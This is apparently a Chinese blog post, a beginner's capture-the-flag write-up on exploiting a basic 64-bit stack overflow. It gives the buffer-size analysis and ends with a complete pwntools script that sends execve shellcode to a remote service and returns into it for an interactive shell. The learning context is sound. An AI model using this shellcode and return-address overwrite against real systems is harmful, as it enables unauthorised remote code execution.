欢迎关注我的新博客 https://pino-hd.github.io,最新的博文都会发布在上面哦~
前言
最近闲来无事,准备开始学习一波pwn,先从最基本的栈溢出开始学起,在实验吧中找了一道基础的栈溢出题目做了做,收获颇多。
解题思路
根据题目要求,nc连接远程服务器
发现一些文字,以及一个Location的地址,还有一个可以输入的Command命令,随便输入一个ls
告诉我任务失败。同时还给了一个附件,是这个程序的可执行文件,先利用file
命令查看文件的格式
是一个64位的程序,然后在checksec看一下有什么防护
emmmm,什么防护也没有,很好。
直接放入IDA中,找到main函数,F5进行反汇编。
通过阅读代码,发现了read函数存在栈溢出。程序在最开始的时候生命了buf数组,大小为0x20,也就是32,在执行read函数的时候,读取了0x40,也就是64位,很明显的栈溢出。
其中给了一个Location,发现是buf的地址,那么情况就很明了了,我们可以在buf区开始写shellcode,然后利用padding覆盖到返回地址,在返回地址的地方写上这个buf的地址,这样程序在返回的时候就可以返回到buf的地址,从而执行我们写的shellcode了。
由代码我们知道,buf的长度是0x20,也就是32字节,这个是64位的程序,也就是说1粒度是8个字节,那么buf是局部变量,栈上紧跟着是调用者的ebp(32-40),之后就是返回地址了(40-48),因此我们只要确保40之后是那个buf的地址就好了
Payload
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
r = remote('106.2.25.7', '8003')
r.recvuntil('Location:')
l = int(r.recvuntil('\n')[:-1], 16)
shellcode = "\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
print disasm(shellcode)
payload = shellcode + (40 - len(shellcode)) * 'A' + p64(l)
print len(shellcode)
r.recvuntil("Command:")
r.sendline(payload)
r.interactive()
得到shell后,进入/home目录,得到flag